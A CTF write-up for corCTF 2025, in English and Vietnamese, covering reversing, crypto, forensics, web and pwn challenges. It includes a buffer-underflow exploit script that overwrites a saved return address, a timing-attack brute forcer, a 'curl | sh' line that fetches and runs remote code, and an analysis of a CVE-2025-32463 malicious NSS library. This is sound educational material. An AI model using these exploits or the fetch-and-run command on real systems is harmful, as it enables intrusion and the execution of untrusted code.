# CORCTF 2025
## Reversing
### 1. yourock
- This challenge gives me 2 files: encode (an ELF binary) and encoded.rj (data). To run the binary correctly, we must place rockyou.txt in our directory and execute the binary with an argument. Our target is to find the correct input message so that the result when we run the binary is the same as the data in encoded.rj

- Let's see what we are having in ida:

- Okay, this is the pseudocode decompiled from a pure c++ language. Firstly, as we can see, the number of lines in rockyou.txt has to bigger than 0xFF. Secondly, key is generated randomly but stored in only 1 byte. Now let's see what happens in encode function.

- Everything seems quite clear in this challenge. As we know the value of the first word in encoded.rj, we can absolutely recover the key. Once I have key and the output, the rest thing is not much of a challenge. My script:
```python!
key = 63
encoded = "charlie junior babygirl soccer qwerty 111111 000000 tigger jessica jasmine joseph 12345 tigger chelsea melissa 123123 mickey computer anthony chelsea brandon brandon matthew soccer bubbles playboy spongebob eminem ashley password ashley".split()
rock_you = open("rockyou.txt", "r", errors="ignore").read().splitlines()
index_encoded = [0] * 31
for candidate in range(len(encoded)):
index_encoded[candidate] = rock_you.index(encoded[candidate])
print(chr(63))
for i in range(1, len(index_encoded)):
v9 = index_encoded[i]
ch = key ^ v9
print(chr(ch), end="")
key ^= (i-1) ^ v9
```
-> FLAG: **corctf{r0cky0u_3nc0d1ng_r0cks}**
### 2. Tagme
- This challenge took me 3 hours to complete and those hours are so engaging.
- I have only 1 file and it's a flag checker. Let's see what we have in ida.
```c
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
char v3; // [rsp+3h] [rbp-3Dh]
char *lineptr; // [rsp+8h] [rbp-38h] BYREF
size_t n; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 i; // [rsp+18h] [rbp-28h]
__ssize_t v7; // [rsp+20h] [rbp-20h]
char *v8; // [rsp+28h] [rbp-18h]
unsigned __int64 v9; // [rsp+30h] [rbp-10h]
unsigned __int64 v10; // [rsp+38h] [rbp-8h]
v10 = __readfsqword(0x28u);
puts("Enter flag:");
lineptr = 0LL;
n = 0LL;
v7 = getline(&lineptr, &n, stdin);
if ( v7 == -1 )
output_exit1("Illiterate");
if ( v7 <= 8 )
output_exit1("Short");
if ( v7 > 39 )
output_exit1("Long");
if ( strncmp("corctf{", lineptr, 7uLL) )
output_exit1("Ineligible");
if ( strncmp("}\n", &lineptr[v7 - 2], 2uLL) )
output_exit1("Ineligible");
set_up();
v8 = lineptr + 7;
v9 = v7 - 9;
for ( i = 0LL; i < v9; ++i )
{
v3 = v8[i];
if ( (i & 1) != 0 )
{
if ( i % 6 > 3 )
{
if ( v3 <= 112 )
output_exit1("Forbidden");
}
else if ( v3 <= 107 || v3 == 115 )
{
output_exit1("Forbidden");
}
}
else if ( v3 == 99 || v3 > 108 )
{
output_exit1("Forbidden");
}
write_and_check(v3);
}
while ( !(unsigned int)process() )
;
output_exit1("Boring");
}
```
- Okay, firstly, the binary checks the flag format and our input length. After that, it rules some enforced allowed characters at some specific positions.

- Let's briefly say something about these functions: We have totally a buffer and 2 pointers (write and read pointer both start at 0 and end at 4600, if a pointer is over 4600, it will start again at 0). If we input a string, the program will read our input string and write them in a buffer, the write pointer will increase one by one according to our characters. When it finishes, the read pointer will be processed by reading characters in the buffer, especially with each character it reads, that character will be mapped into a string, then the string will be writen down to the buffer immediately and of course when we read a character from buffer, the read pointer increases. The same thing happens with write pointer, when we write a character to buffer, the write pointer increases.
- The mapping table look like this:
``` text
'a' (97) -> "ns" (2 chars)
'b' (98) -> "jjj" (3 chars)
'n' (110) -> "a" (1 char)
'd' (100) -> "q" (1 char)
'p' (112) -> "cor" (3 chars) (does not appear in flag, as author confirmed)
'f' (102) -> "gg" (2 chars)
's' (115) -> "aaa" (3 chars)
'e' (101) -> "tt" (2 chars)
'j' (106) -> "gg" (2 chars)
'c' (99) -> "flag" (4 chars)
```
- After analyzing the postion constraints, we finally have:
```text!
Even positions (0,2,4,6,...): {a, b, d, e, f, j}
Odd positions (1,3,7,9,13,15,...): {n}
Odd positions (5,11,17,23,...) {s}
```
- Our target is to make the read pointer reaches the write pointer at exactly the time when write pointers finish writing the string into buffer.
- I have investigated so much time to realize this fact: the read pointer will read 2 character but the write pointer just writes 1 time (1 string from mapping) and the string has multiple length (1 to 3). The mapping character leads to a string which has only 1 character is "d" (d->a), but a will leads to "ns" lately, so it does not reduce so much.
- We just have to care about the even position as all odd positions are all fixed by the rule. With "a" we will have "ns" (n->a,s->aaa and the loops will continue forever) so "a" is not considered a "die" character. {b, d, e, f, j} are considered "die" character as they can not make a infinte loop. So the idea here is to make the write pointer starts again at 0 and catches read pointer at some time.
- As we don't know the length which makes them meet together so i decided to write a bruteforce solution for this:
```python!
import pwn
pwn.context.log_level = 'info'
def build_pattern(middle_length):
pattern = [''] * middle_length
for pos in range(middle_length):
if pos % 2 == 0:
pattern[pos] = 'a'
else:
if pos % 6 in [1, 3]:
pattern[pos] = 'n'
else:
pattern[pos] = 's'
return ''.join(pattern)
def solve():
for total_length in range(9, 40):
p = pwn.process('./tagme')
middle_length = total_length - 8
pattern ="corctf{" + build_pattern(middle_length) + "}"
p.sendline(pattern.encode())
print(pattern)
res = p.recvall(timeout=1)
print(res)
if b'Interesting' in res:
print(res)
print("congrats!")
exit(0)
if (b'Accepted' in res):
print(res)
print("congrats!")
exit(0)
print("No solution found")
solve()
```

-> FLAG: **corctf{ananasananasananasananasana}**
## Crypto
### Key
```python=
from functools import reduce
import itertools
import os
def xor(x, y):
return bytes([a ^ b for a, b in zip(x, y)])
def stream(keys0, keys1):
for keys in itertools.product(*zip(keys0, keys1)):
key = reduce(xor, keys)
yield key
with open('flag.bmp', 'rb') as f:
d = f.read()
header = d[:len(d) - 1024 ** 2 * 3]
data = d[len(d) - 1024 ** 2 * 3:]
keys0 = [os.urandom(3) for _ in range(20)]
keys1 = [os.urandom(3) for _ in range(20)]
ks = stream(keys0, keys1)
print(ks)
chunked = itertools.zip_longest(*[iter(data)] * 3)
encrypted = [
xor(chunk, next(ks))
for chunk in chunked
]
with open('flag-enc.bmp', 'wb') as f:
f.write(header)
f.write(b''.join(encrypted))
```
Bài cho một file ảnh flag-enc.bmp bị mã hóa.
Đặc điểm của BMP:
- Ảnh có header cố định (54 bytes + bảng màu nếu có).
- Kích thước ảnh: 1024 x 1024 pixel → dữ liệu ảnh dài 1024 * 1024 * 3 bytes
Một pixel trắng trong 24-bit BMP có giá trị 0xFFFFFF (b'\xff\xff\xff') -> know plaintext attack
```python=
import itertools
def xor(x, y):
return bytes([a ^ b for a, b in zip(x, y)])
with open('flag-enc.bmp', 'rb') as f:
encrypted_bmp = f.read()
data_size = 1024 * 1024 * 3
header_size = len(encrypted_bmp) - data_size
header = encrypted_bmp[:header_size]
encrypted_data = encrypted_bmp[header_size:]
assumed_pixel = b'\xff\xff\xff'
encrypted_pixels = [encrypted_data[i:i+3] for i in range(0, len(encrypted_data), 3)]
K_base = xor(encrypted_pixels[0], assumed_pixel)
D = [b'\x00\x00\x00'] * 20
for j in range(20):
key_pow_2 = xor(encrypted_pixels[2**j], assumed_pixel)
D[19 - j] = xor(key_pow_2, K_base)
decrypted_pixels = []
total_pixels = 1024 * 1024
for i in range(total_pixels):
current_key = K_base
for j in range(20):
if (i >> j) & 1:
current_key = xor(current_key, D[19 - j])
decrypted_pixel = xor(encrypted_pixels[i], current_key)
decrypted_pixels.append(decrypted_pixel)
if (i + 1) % (total_pixels // 10) == 0:
print(f"Đã giải mã {(i+1)*100/total_pixels:.0f}%...")
decrypted_data = b''.join(decrypted_pixels)
output_filename = 'flag-dec.bmp'
with open(output_filename, 'wb') as f:
f.write(header)
f.write(decrypted_data)
# corctf{642fcb29f091fb14}
```
### ssss
```python=
#!/usr/local/bin/python3
import random
p = 2**255 - 19
k = 15
SECRET = random.randrange(0, p)
print("welcome to ssss")
# Step 1: Generate a random, degree-(k−3) polynomial g(x)
g = [random.randrange(p) for _ in range(k - 2)]
# Step 2: Select a random c in Fp
c = random.randrange(0, p)
# Step 3: Set f(x)=g(x)x^2+Sx+c
f = [c] + [SECRET] + g
def evaluate_poly(f, x):
return sum(c * pow(x, i, p) for i, c in enumerate(f)) % p
for _ in range(k - 1):
x = int(input())
assert 0 < x < p, "no cheating!"
print(evaluate_poly(f, x))
if int(input("secret? ")) == SECRET:
FLAG = open("flag.txt").read()
print(FLAG)
```
ta có được hint của bài: https://www.zkdocs.com/docs/zkdocs/protocol-primitives/alt-shamir/#moving-away-from-the-constant-term
$f(x)=E(x^2) + x*R(x^2)$
=> $R(x^2) = \frac{f(x) - f(-x)}{2*x}$
Ta query 7 điểm $z_i = +- x$ để tìm được nội suy Lagrange cho R(x) -> tìm R(0) = SECRET

```python=
#!/usr/bin/env python3
from pwn import *
context.log_level="debug"
p = remote('ctfi.ng', 31555)
P = 2**255 - 19
p.recvline()
def mod_inverse(n, modulus):
"""Calculates the modular inverse of n modulo modulus."""
return pow(n, -1, modulus)
def evaluate(x):
"""Sends x to the server and gets the result."""
p.sendline(str(x).encode())
# p.recvline() # clean the input line
return int(p.recvline().strip())
num_points = 7
points_R = []
print(f"Querying for {2 * num_points} points from the server...")
for i in range(1, num_points + 1):
x = i
y_pos = evaluate(x)
y_neg = evaluate(P - x) # -x mod P
z = (x * x) % P
# R(z) = (f(x) - f(-x)) / (2x)
numerator = (y_pos - y_neg + P) % P
denominator = mod_inverse(2 * x, P)
R_z = (numerator * denominator) % P
points_R.append((z, R_z))
print(f" Calculated R({z}) = {R_z}")
print("\nAll points for R(z) collected.")
secret = 0
zs = [point[0] for point in points_R]
R_zs = [point[1] for point in points_R]
print("Calculating the secret using Lagrange Interpolation...")
for j in range(num_points):
numerator = 1
denominator = 1
for m in range(num_points):
if m == j:
continue
numerator = (numerator * (P - zs[m])) % P
denominator = (denominator * (zs[j] - zs[m] + P)) % P
lagrange_basis_at_0 = (numerator * mod_inverse(denominator, P)) % P
term = (R_zs[j] * lagrange_basis_at_0) % P
secret = (secret + term) % P
print(f"\nCalculated SECRET = {secret}")
p.sendlineafter(b'secret? ', str(secret).encode())
p.interactive()
# corctf{ill_come_up_with_a_good_flag_later_maybe}
```
### oooo
```python=
#!/usr/local/bin/python3
import random; FLAG = open("flag.txt", "rb").read(); print("welcome to oooo")
while True: print(bytes(a^b for a, b in zip(FLAG, random.sample(range(0, 256), k=len(FLAG)))).hex() if input() != "exit" else exit())
```
Với bài này ta có thể tìm được F(0) ^ F(i) bằng cách loại bỏ tất cả các bytes xuất hiện từ C(0) ^ C(i) rồi đó brute lại F(i) bằng cách đoán F(0)
```python=
flag_len = len(ciphertexts[0])
print(f"[*] Done. Flag length is {flag_len} bytes.")
xor_diffs = [0] * flag_len
print("[*] Calculating XOR differences between byte positions...")
all_bytes = set(range(256))
for i in range(1, flag_len):
diff_stream = [ct[0] ^ ct[i] for ct in ciphertexts]
present_bytes = set(diff_stream)
missing_bytes = all_bytes - present_bytes
if len(missing_bytes) == 1:
xor_diffs[i] = missing_bytes.pop()
else:
print(f"[!] Error: Could not uniquely determine F[0] ^ F[{i}].")
print(f"[!] Found {len(missing_bytes)} missing bytes: {missing_bytes}")
print("[!] Try increasing NUM_SAMPLES.")
exit()
common_first_chars = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}"
for first_byte_guess in common_first_chars:
flag_candidate = bytearray(flag_len)
flag_candidate[0] = first_byte_guess
for i in range(1, flag_len):
flag_candidate[i] = xor_diffs[i] ^ first_byte_guess
try:
decoded_candidate = flag_candidate.decode('ascii')
if "{" in decoded_candidate and "}" in decoded_candidate:
print(f"\n[+] Possible Flag Found: {decoded_candidate}")
except UnicodeDecodeError:
continue
```
### rules
```python=
#!/usr/local/bin/python3
import json
import random
import numpy as np
FLAG = open("flag.txt").read()
BANNER = """
_____ _____
( ___ )----------------------------------------------------------( ___ )
| | | |
| | | |
| | $$$$$$$\\ $$\\ $$\\ $$\\ $$$$$$$$\\ $$$$$$\\ | |
| | $$ __$$\\ $$ | $$ |$$ | $$ _____|$$ __$$\\ | |
| | $$ | $$ |$$ | $$ |$$ | $$ | $$ / \\__| | |
| | $$$$$$$ |$$ | $$ |$$ | $$$$$\\ \\$$$$$$\\ | |
| | $$ __$$< $$ | $$ |$$ | $$ __| \\____$$\\ | |
| | $$ | $$ |$$ | $$ |$$ | $$ | $$\\ $$ | | |
| | $$ | $$ |\\$$$$$$ |$$$$$$$$\\ $$$$$$$$\\ \\$$$$$$ | | |
| | \\__| \\__| \\______/ \\________|\\________| \\______/ | |
| | | |
|___| |___|
(_____)----------------------------------------------------------(_____)
"""
def rotate_left(data):
upper = data << 1
lower = np.roll(data, -1) >> 7
return upper | lower
def rotate_right(data):
lower = data >> 1
upper = np.roll(data, 1) << 7
return upper | lower
def rule(data):
left = rotate_left(data)
right = rotate_right(data)
return ~((left & right & data) | (~left & ~right & ~data) | (~left & right & ~data))
def main():
print(BANNER)
print("\nGive me a list of bytes, and guess what it becomes!")
print("Rules:")
print("1. All war is based on deception.\n")
print("Enter the bytes:")
user_input = input("> ")
arr = json.loads(user_input)
if not isinstance(arr, list) or not all(isinstance(x, int) for x in arr):
print("Invalid input")
return
data = np.array(arr, dtype=np.uint8)
if len(data) < 1024:
print("Too short")
return
print("Make a guess:")
user_guess = input("> ")
user_guess = user_input
guess = np.array(json.loads(user_guess), dtype=np.uint8)
if guess.shape != data.shape:
print("Invalid guess")
return
print("Checking guess...")
num_rounds = random.randint(100, 16000)
for i in range(num_rounds):
data = rule(data)
if not np.any(data):
print("All zeroes!")
return
# print(f"{data = }")
if np.array_equal(guess, data):
print("Correct!")
print(f"Here is your flag: {FLAG}")
else:
print("Incorrect!")
if __name__ == "__main__":
try:
main()
except:
print("Error")
```
Bài này mình thử bruteforce dùng [i]*1024 vào thử thì thấy có lúc nhả flag với i = 55 nên mình thử luôn với server và có flag
```python=
#!/usr/local/bin/python3
import json
import random
import numpy as np
from pwn import*
context.log_level = "debug"
import subprocess
# FLAG = open("flag.txt").read()
def solve_pow(challenge):
# gọi curl | sh -s <challenge> để lấy solution
cmd = ["bash", "-c", f"curl -sSfL https://pwn.red/pow | sh -s {challenge}"]
solution = subprocess.check_output(cmd).decode().strip()
return solution
from tqdm import*
def main():
for _ in trange(10000):
# p = process(["python", "rules.py"])
p = remote("ctfi.ng", 31126)
p.recvuntil(b"proof of work:\n")
line = p.recvline().decode().strip() # curl ... <challenge>
challenge = line.split()[-1] # lấy chuỗi s.AAATiA==....
# print(f"{challenge = }")
# gửi solution
p.recvuntil(b"solution: ")
solution = solve_pow(challenge)
p.sendline(solution.encode())
p.recvline()
# user_input = input("> ")
user_input = str([55 for _ in range(1024)]).encode()
p.sendline(user_input)
p.recvuntil(b"> ")
p.sendline(user_input)
p.recvuntil(b'> Checking guess...\n')
flag = p.recvall()
print(flag)
if b"corctf" in flag:
print(flag)
break
# corctf{o0ps_Ru1e_11O_iS_n0t_chA0tIc}
if __name__ == "__main__":
try:
main()
except:
print("Error")
```
## Forensic
### Nintendo-SSwitch

Let connect to the instance:

I tried to find and grep flag, luckily i found file flag was encypted located in `/opt/ctf/`

I think i need to find out what was made it encrypted, i tried to analyze timestamp and found out the filename similar to challange name.

I tried to check on browser and found a CVE-2025-32463 related it.
CVE-2025-32463 is a local privilege escalation vulnerability in the Sudo binary. This config nsswitch.conf and try to make malicious lib `libnss_*`
Come back to the shell and find that `libnss_`

Load it into IDA:
```C
void sub_1327()
{
const char *blob_path; // rax
char v1; // al
const char *outfile; // rax
int v3; // [rsp+4h] [rbp-2Ch] BYREF
FILE *v4; // [rsp+8h] [rbp-28h]
void *ptr; // [rsp+10h] [rbp-20h]
size_t n; // [rsp+18h] [rbp-18h]
FILE *stream; // [rsp+20h] [rbp-10h]
signed __int64 i; // [rsp+28h] [rbp-8h]
if ( !dword_40C4 )
{
blob_path = (const char *)get_blob_path();
stream = fopen(blob_path, "rb");
if ( stream )
{
fseek(stream, 0, 2);
n = ftell(stream);
rewind(stream);
ptr = malloc(n + 1);
if ( ptr )
{
fread(ptr, 1u, n, stream);
fclose(stream);
v3 = 843361682;
for ( i = 0; i < (__int64)n; ++i )
{
v1 = sub_12EA(&v3);
*((_BYTE *)ptr + i) ^= v1;
}
*((_BYTE *)ptr + n) = 0;
outfile = (const char *)get_outfile();
v4 = fopen(outfile, "w");
if ( v4 )
{
fputs((const char *)ptr, v4);
fclose(v4);
}
memset(ptr, 0, n);
free(ptr);
dword_40C4 = 1;
}
else
{
fclose(stream);
}
}
}
}
__int64 __fastcall sub_12EA(unsigned int *a1)
{
unsigned int v2; // [rsp+14h] [rbp-4h]
v2 = (((*a1 << 13) ^ *a1) >> 17) ^ (*a1 << 13) ^ *a1;
*a1 = (32 * v2) ^ v2;
return *a1;
}
```
And then is my code to decrypt it
```C
#include <iostream>
#include <fstream>
#include <vector>
#include <cstdint>
// PRNG: sub_12EA
uint32_t sub_12EA(uint32_t &a1) {
uint32_t v2 = (((a1 << 13) ^ a1) >> 17) ^ (a1 << 13) ^ a1;
a1 = (32 * v2) ^ v2;
return a1;
}
void decrypt_blob() {
std::ifstream infile("flag.blob", std::ios::binary);
if (!infile) {
std::cerr << "Could not open flag.blob\n";
return;
}
// Read whole file into buffer
std::vector<uint8_t> data((std::istreambuf_iterator<char>(infile)),
std::istreambuf_iterator<char>());
uint32_t seed = 843361682;
for (size_t i = 0; i < data.size(); i++) {
uint8_t key = static_cast<uint8_t>(sub_12EA(seed));
data[i] ^= key;
}
std::ofstream outfile("flag.txt", std::ios::binary);
if (!outfile) {
std::cerr << "Could not open flag.txt for writing\n";
return;
}
outfile.write(reinterpret_cast<char*>(data.data()), data.size());
std::cout << "Decryption complete. Saved to flag.txt\n";
}
int main() {
decrypt_blob();
return 0;
}
```
:::success
corctf{nsswitch_can_be_sneaky_sometimes_i_guess_idk}
:::
## MISC
### cor.shop


Use list to show all products
Buy 4 to view source code.
```rush=
use std::env;
use std::io::{self, BufRead, BufReader, Write};
#[derive(Clone, Copy)]
struct Item { id: u32, name: &'static str, price: u64 }
fn items() -> Vec<Item> { vec![
Item { id: 1, name: "FizzBuzz101's tears", price: 250_000 },
Item { id: 2, name: "One Clubby hair", price: 400_000 },
Item { id: 3, name: "Day's Heap", price: 600_000 },
Item { id: 4, name: "cor.shop's source code", price: 0}
]}
fn banner() -> &'static str { r#"=====================================
Welcome to cor.shop
=====================================
Commands:
list - show products
buy <id> <qty> - attempt to purchase
balance - show your balance
help - show this help
quit - disconnect
"# }
const SOURCE: &str = include_str!(concat!(env!("CARGO_MANIFEST_DIR"), "/", file!()));
fn shop<R: BufRead, W: Write>(mut reader: R, mut writer: W, heap: &str) {
let mut balance: u64 = 0;
let _ = writeln!(writer, "{}", banner());
let _ = writeln!(writer, "Balance: {} corns", balance);
loop {
// Print prompt
let _ = write!(writer, "> ");
let _ = writer.flush();
// Read user input
let mut line = String::new();
if reader.read_line(&mut line).unwrap_or(0) == 0 { break; }
let line = line.trim();
if line.is_empty() { continue; }
// Parse out the command
let mut parts = line.split_whitespace();
let cmd = parts.next().unwrap_or("");
match cmd {
"list" => {
// List table of our items
let _ = writeln!(writer, "{:<3} | {:>7} | {}", "ID", "PRICE", "NAME");
let _ = writeln!(writer, "----+-------+------------------------------");
for it in items() {
let _ = writeln!(writer, "{:<3} | {:>7} | {}", it.id, it.price, it.name);
}
}
"balance" => {
// Show the current balance in corns
let _ = writeln!(writer, "Balance: {} corns", balance);
}
"buy" => {
// Attempt to parse the id and quantity, else fall back to id 0 and qty 1.
let id: u32 = parts.next().and_then(|i| i.parse().ok()).unwrap_or(0);
let qty: u32 = parts.next().and_then(|q| q.parse().ok()).unwrap_or(1);
if qty == 0 {
// ???
let _ = writeln!(
writer,
"Thats not how buying stuff works.",
);
continue;
}
if let Some(item) = items().into_iter().find(|it| it.id == id) {
// Calculate the total cost of this purchase
let total: u64 = (item.price as u32 * qty) as u64;
if balance >= total {
// User can purchase, handle the purchase
balance = balance - total;
let _ = writeln!(
writer,
"Purchased {} x {} for {} corns.",
qty, item.name, total
);
// We need to take quantities into account sometime but its not like people got any corn.
if item.id == 1 {
let _ = writeln!(
writer,
"(╥﹏╥)",
);
} else if item.id == 2 {
let _ = writeln!(
writer,
"-ˋˏ✄┈┈┈┈",
);
} else if item.id == 3 {
let _ = writeln!(
writer,
"{}",
heap
);
} else if item.id == 4 {
let _ = writeln!(
writer,
"{}",
SOURCE
);
}
} else {
// User should seriously invest in some corns
let _ = writeln!(
writer,
"Insufficient balance. Need {}, have {}.",
total, balance
);
}
} else {
// I mean this is what we get for only having 3 products...
let _ = writeln!(writer, "Unknown item id. Try `list`.");
}
}
"help" => { let _ = writeln!(writer, "{}", banner()); }
"quit" | "exit" => { let _ = writeln!(writer, "bye!"); break; }
_ => { let _ = writeln!(writer, "Unknown command. Try `help`."); }
}
}
}
fn main() -> io::Result<()> {
let heap = env::var("HEAP").unwrap_or_else(|_| "Got some random garbage, are you running this on your own machine or something?".to_string());
let stdin = io::stdin();
let stdout = io::stdout();
let reader = BufReader::new(stdin.lock());
let writer = stdout.lock();
shop(reader, writer, &heap);
Ok(())
}
```
At 3'rd product name `Day's Heap` maybe it hint about heap leak.
Look at source code i find the total variable it be downcast before upcast. So we need to choose qty make the total is 0 and get the flag.

:::success
corctf{surpr1s3_1ts_wrapp3d_4nd_fr33}
:::
### touch-grass-3

As a description of this challenge. We need to go out and run a mile in ten minutes to get the flag.

:::success
corctf{e8be77aaf9c6ac78876c}
:::
## Web
### yamlquiz
```javascript=
const express = require('express');
const YAML = require('yaml');
const PORT = process.env.PORT || 4455;
const FLAG = process.env.FLAG || 'corctf{fake_flag_for_testing}';
const app = express();
app.use(express.urlencoded({extended: false}));
app.use(express.static('static'));
app.post('/submit', (req, res) => {
let result = req.body.result;
let score = 0;
if (result) {
const result_parsed_1 = YAML.parse(result, null, {version: '1.1'});
const result_parsed_2 = YAML.parse(result, null, {version: '1.2'});
const score_1 = result_parsed_1?.result?.[0]?.score ?? 0;
const score_2 = result_parsed_2?.result?.[0]?.score ?? 0;
if (score_1 !== score_2) {
score = score_1;
}
} else {
score = 0;
}
if (score === 5000) {
res.json({pass: true, flag: FLAG});
} else {
res.json({pass: false});
}
});
app.listen(PORT, () => console.log(`web/yamlquiz listening on port ${PORT}`));
```
Ở bài này, mục tiêu của chúng ta là tăng biến score lên 5000 để server trả về flag.
Trong đoạn code, ta thấy rằng score_1 và score_2 sử dụng 2 phiên bản YAML khác nhau để parse, và nếu score_1 và score_2 parse khác giá trị thì biến score sẽ được cập nhật.
Điểm khác biệt giữa hai phiên bản này là:
1. Parser YAML 1.1 chuyển hệ cơ số từ hệ bát phân sang hệ thập phân.
2. Parser YAML 1.2 không chuyển hệ cơ số.
Vì vậy ta chọn số 016610 để Parser YAML 1.1 chuyển về 5000 và nhận flag.

:::success
corctf{ihateyamlihateyamlihateyaml!!!}
:::
### vouched
```python=
#!/usr/bin/env python3
from flask import Flask, render_template, request
import hashlib, hmac, binascii
import random
try:
from secret import FLAG
except ImportError:
FLAG = "FLAG{EXAMPLE_FLAG}"
app = Flask(__name__)
PBKDF2_ITERATIONS = 1750000
DKLEN = 32
def generate_voucher() -> str:
length = 12
dash_positions = [1, 4, 8]
chars = []
for i in range(length):
if i in dash_positions:
chars.append('-')
else:
chars.append(random.choice("ABCDEF0123456789"))
return ''.join(chars)
VOUCHER_CODE = generate_voucher()
print(f"[DEBUG] Voucher code: {VOUCHER_CODE}")
def calculate_signature(password: str, salt: str) -> str:
return binascii.hexlify(
hashlib.pbkdf2_hmac("sha256", password.encode(), salt.encode(), PBKDF2_ITERATIONS, dklen=DKLEN)
).decode()
@app.route("/")
def index():
return render_template("index.html")
@app.route("/check", methods=["POST"])
def check():
j = request.get_json(force=True)
voucher = j.get("voucher", "")
signature = j.get("signature", "")
if len(voucher) != len(VOUCHER_CODE):
return "Code incorrect"
for i, ch in enumerate(voucher):
if VOUCHER_CODE[i] != ch:
return "Code incorrect"
# Tampering protection
ua = request.headers.get("User-Agent", "")
expected = calculate_signature(voucher, ua)
if not hmac.compare_digest(signature, expected):
return "Tampering detected"
return f"See you at corCTF 2026, your ticket is: {FLAG}"
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000, debug=False)
```
Ở bài này, ta thấy rằng server sử dụng một loại mã hóa là PBKDF2-HMAC-SHA256. Khi đúng kí tự ở một vị trí nào đó, thì server sẽ thử toán toán signature, mà khi tính toán lại tốn một khoảng thời gian do số vòng lặp được đặt khá lớn. Lợi dụng tính năng đó, ta sẽ bruteforce từng vị trí, nếu có một chữ ở vị trí n được server trả về lâu hơn các chữ khác thì chữ đó sẽ là chữ cần tìm.
Script:
```python=
import requests
import time
import hashlib
import binascii
URL = "https://vouched-1504e300b90a4ab7.ctfi.ng/check"
CHARSET = "ABCDEF0123456789"
VOUCHER_LENGTH = 12
DASH_POSITIONS = [1, 4, 8]
VOUCHER_TEMPLATE = list("A-AA-AAA-AAA")
MY_USER_AGENT = "hehe"
TIME_THRESHOLD = 0.15
PBKDF2_ITERATIONS = 1750000
DKLEN = 32
def calculate_signature(password: str, salt: str) -> str:
print(f"Calculating signature for: {password}")
start = time.time()
sig = binascii.hexlify(
hashlib.pbkdf2_hmac("sha256", password.encode(), salt.encode(),
PBKDF2_ITERATIONS, dklen=DKLEN)
).decode()
end = time.time()
print(f"Calculation took {end - start:.2f}s")
return sig
def measure_request_time(session, voucher, signature):
start = time.time()
session.post(URL, json={"voucher": voucher, "signature": signature})
end = time.time()
return end - start
def leak_voucher_code():
known_voucher = list(VOUCHER_TEMPLATE)
session = requests.Session()
session.headers.update({"User-Agent": MY_USER_AGENT})
for i in range(VOUCHER_LENGTH):
if i in DASH_POSITIONS:
continue
print(f"-Position {i}...")
guess = list(known_voucher)
guess[i] = 'X'
voucher = "".join(guess)
sig = calculate_signature(voucher, MY_USER_AGENT)
baseline_time = measure_request_time(session, voucher, sig)
print(f"Time for 'X': {baseline_time:.4f}s")
found_char = None
for char in CHARSET:
guess = list(known_voucher)
guess[i] = char
voucher = "".join(guess)
sig = calculate_signature(voucher, MY_USER_AGENT)
duration = measure_request_time(session, voucher, sig)
print(f"Trying char '{char}': {duration:.4f}s")
if duration > baseline_time + TIME_THRESHOLD:
found_char = char
known_voucher[i] = char
print(f"Found character at position {i}: '{char}'")
print(f"Current voucher: {''.join(known_voucher)}")
break
if not found_char:
print(f"Could not find character for position {i}.")
return None
return "".join(known_voucher)
voucher = leak_voucher_code()
if voucher:
print("\nLeaked voucher:", voucher)
```
:::success
corctf{d0nt_w0rry_corCTF_2026_w1ll_b3_fr33!}
:::
## Pwnable
### frogcompute
- Challenge này là trình biên dịch `bf` code
- 
- Trong đó `bf` code nhập vào sẽ được kiểm tra, chỉ lấy những kí tự hợp lệ đồng thời có `max length` là `0x58`
- 
- 
- `bf` code sẽ được thực thi cho đến khi gặp kí tự `#`
- 
- Bug chính ở đây nằm ở việc bound check. Tuy có bound check đối với `+` và `-` để đảm bảo `array_index` không thay đổi dữ liệu nằm bên ngoài `frog_table` bằng cách kiểm tra `limit_address` và `current_address` nhưng challenge chỉ check `upper bound`, không check `lower bound` do đó có thể sửa `Table.size` bằng `buffer underflow` từ đó có được `buffer overflow`
- 
- 
- Nhưng vì việc chỉnh `code_index` đến `0x69420` là không khả thi, do đó mình đã chọn sửa `saved_rip` để khi challenge kết thúc và return thì sẽ return về hàm `mmio_dump_flag`
- 
- 
- Có thể thấy offset từ `saved_rip` đến hàm `mmio_dump_flag` là `0x31`, do đó mình sẽ code chương trình sao cho có thể cộng vào `saved_rip` `0x31`
- Vì challenge sẽ chỉ dừng lại khi gặp kí tự `#` hoặc `Out of bounds data access`, tuy nhiên `size input` lại chỉ có `0x58` nên không thể đủ để `>` `0x108` lần trước khi cộng vào `saved_rip` nên mình sẽ cần code bf hợp lí để sau khi sửa được `saved_rip` thì challenge hit `Out of bounds data access` và return về `mmio_dump_flag`
- Đây là mã giả chương trình bf code:
- ```cpp!
array_idx -= 8;
Table[array_index]--;
while(Table[array_index])
{
Table[array_index]--;
while(Table[array_index])
{
Table[array_index] += 0x31;
array_index += 8;
}
array_index += 8;
Table[array_index]++;
}
```
- 
Solve script:
```python!
from pwn import *
import sys
import os
#Cre: vilex1337
_path = "./chall"
context.binary = exe = ELF(_path, checksec=False)
addr = 'localhost'
port = 8080
cmd = f'''
set solib-search-path {os.getcwd()}
decompiler connect ida --host localhost --port 3662
breakrva 0x18BD
continue
'''
context.terminal = ['wt.exe', 'wsl', '-e', 'bash', '-c']
def conn():
if args.LOCAL:
if args.GDB:
p = gdb.debug(_path, cmd)
else:
p = exe.process()
elif args.REMOTE:
host_port = sys.argv[1:]
p = remote(host_port[0], int(host_port[1]))
return p
def p(_data, _arch = 64, endian = 'little'):
switcher = {
64: p64(_data & 0xffffffffffffffff, endian),
32: p32(_data & 0xffffffff, endian),
16: p16(_data & 0xffff, endian),
8: p8(_data & 0xff, endian)
}
return switcher[_arch]
chall = conn()
def sl(_data):
chall.sendline(_data)
def sla(rgx, _data):
chall.sendlineafter(rgx, _data)
def se(_data):
chall.send(_data)
def sa(rgx, _data):
chall.sendafter(rgx, _data)
def check():
chall.interactive()
exit()
def main():
payload = b'<<<<<<<<-'
payload += b'[-' + b'[' + b'+' * 0x31 + b'>' * 8 + b']' + b'>' * 8 + b'+]'
print(hex(len(payload)))
print(payload)
sla(b'Enter bf code:', payload)
check()
if __name__ == "__main__":
main()
```
Flag: `corctf{underfl0w_is_the_new_overfl0w}`